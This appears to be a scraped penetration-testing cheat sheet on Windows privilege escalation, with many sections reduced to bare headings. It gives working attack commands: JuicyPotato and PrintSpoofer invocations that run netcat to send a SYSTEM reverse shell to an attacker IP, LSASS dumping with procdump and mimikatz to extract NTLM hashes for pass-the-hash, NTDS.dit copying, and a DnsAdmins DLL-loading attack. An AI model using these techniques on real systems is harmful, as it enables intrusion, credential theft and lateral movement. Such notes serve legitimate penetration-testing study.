Privilege Escalation Techniques
SeImpersonate and SeAssignPrimaryToken
JuicyPotato can be used to exploit the
SeImpersonateorSeAssignPrimaryTokenprivileges via DCOM/NTLM reflection abuse.c:\\tools\\JuicyPotato.exe -l 53375 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\tools\\nc.exe ip 8443 -e cmd.exe" -t *JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer and RoguePotato can be used to leverage the same privileges and gain
NT AUTHORITY\\SYSTEMlevel access.# start a listener on kali and run this command on windows target host PrintSpoofer.exe -c "c:\\tools\\nc.exe ip 8443 -e cmd"
SeDebugPrivilege
We can use ProcDump from the SysInternals suite to leverage this privilege and dump process memory. A good candidate is the Local Security Authority Subsystem Service (LSASS) process, which stores user credentials after a user logs on to a system.
procdump.exe -accepteula -ma lsass.exe lsass.dmpwe can load this in
Mimikatzusing thesekurlsa::minidumpcommand. After issuing thesekurlsa::logonPasswordscommands, we gain the NTLM hash of the local administrator account logged on locally. We can use this to perform a pass-the-hash attack to move laterally if the same local administrator password is used on one or multiple additional systems# Starting mimikatz mimikatz.exe # extracting hashes from lsass.dmp file sekurlsa::minidump lsass.dmp sekurlsa::logonpasswordsRemote Code Execution as SYSTEM
transfer this PoC script over to the target system. Next we just load the script and run it with the following syntax
[MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,""). Note that we must add a third blank argument""at the end for the PoC to work properly.
# First, open an elevated PowerShell console (right-click, run as admin, and type in the credentials for the user). # Next, type tasklist to get a listing of running processes and accompanying PIDs. tasklist # running poc to get system shell, or reverse shell as system .\\psgetsys.ps1 [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")
SeTakeOwnershipPrivilege
Some local files of interest may include:
Backup Operators Group / SeBackupPrivilege
Membership of this group grants its members the
SeBackupandSeRestoreprivileges. The SeBackupPrivilege allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if there is no access control entry (ACE) for us in the folder's access control list (ACL). We can't do this using the standard copy command. Instead, we need to programmatically copy the data, making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.We can use this PoC to exploit the
SeBackupPrivilege, and copy this file. First, let's import the libraries in a PowerShell session.Enabling SeBackupPrivilege -
Set-SeBackupPrivilege
Attacking a Domain Controller - Copying NTDS.dit
As the
NTDS.ditfile is locked by default, we can use the Windows diskshadow utility to create a shadow copy of theCdrive and expose it asEdrive. The NTDS.dit in this shadow copy won't be in use by the system.
Event Log Readers Group
Administrators or members of the Event Log Readers group have permission to access local system log.
Confirming Group Membership -
net localgroup "Event Log Readers"We can query Windows events from the command line using the wevtutil utility and the Get-WinEvent PowerShell cmdlet.
DnsAdmins Group
DNS management is performed over RPC
ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the
dnscmdtool from the command lineWhen a member of the
DnsAdminsgroup runs thednscmdcommand below, theHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\ServerLevelPluginDllregistry key is populatedWhen the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)
An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.
Leveraging DnsAdmins Access
With the registry setting containing the path of our malicious plugin configured, and our payload created, the DLL will be loaded the next time the DNS service is started. Membership in the DnsAdmins group doesn't give the ability to restart the DNS service, but this is conceivably something that sysadmins might permit DNS admins to do.
Cleaning Up
Using Mimilib.dll
we could also utilize mimilib.dll from the creator of the
Mimikatztool to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner or another command of our choosing.
Print Operators Group
We can use this tool to load the driver. The PoC enables the privilege as well as loads the driver for us.
Download it locally and edit it, pasting over the includes below.
Alternate Exploitation - No GUIIf we do not have GUI access to the target, we will have to modify the
ExploitCapcom.cppcode before compiling. Here we can edit line 292 and replaceC:\Windows\system32\cmd.exe"with, say, a reverse shell binary created withmsfvenom, for example:c:\ProgramData\revshell.exe.We would set up a listener based on the
msfvenompayload we generated and hopefully receive a reverse shell connection back when executingExploitCapcom.exe. If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload.
Automating with EopLoadDriverWe can use a tool such as EoPLoadDriver to automate the process of enabling the privilege, creating the registry key, and executing
NTLoadDriverto load the driver. To do this, we would run the following:
Clean-up
Server Operators Group
Weak Permissions
Permissive File System ACLs
Weak Service Permissions
Cleanup
Unquoted Service Path
Kernel Exploits
Checking Permissions on the SAM File
Performing Attack and Parsing Password Hashes
This PoC by @cube0x0 can be used to perform the entire attack, including dumping the NTLM hashes from the SAM database, directly in the console.
Vulnerable Services
Credential Theft
Manually Searching the File System for Credentials
Saved Credentials
Lazagne
https://github.com/AlessandroZ/LaZagne
Wifi Passwords
Pillaging
Installed Applications
AlwaysInstallElevated
Scheduled Tasks
User/Computer Description Field
Mount VHDX/VMDK
Last updated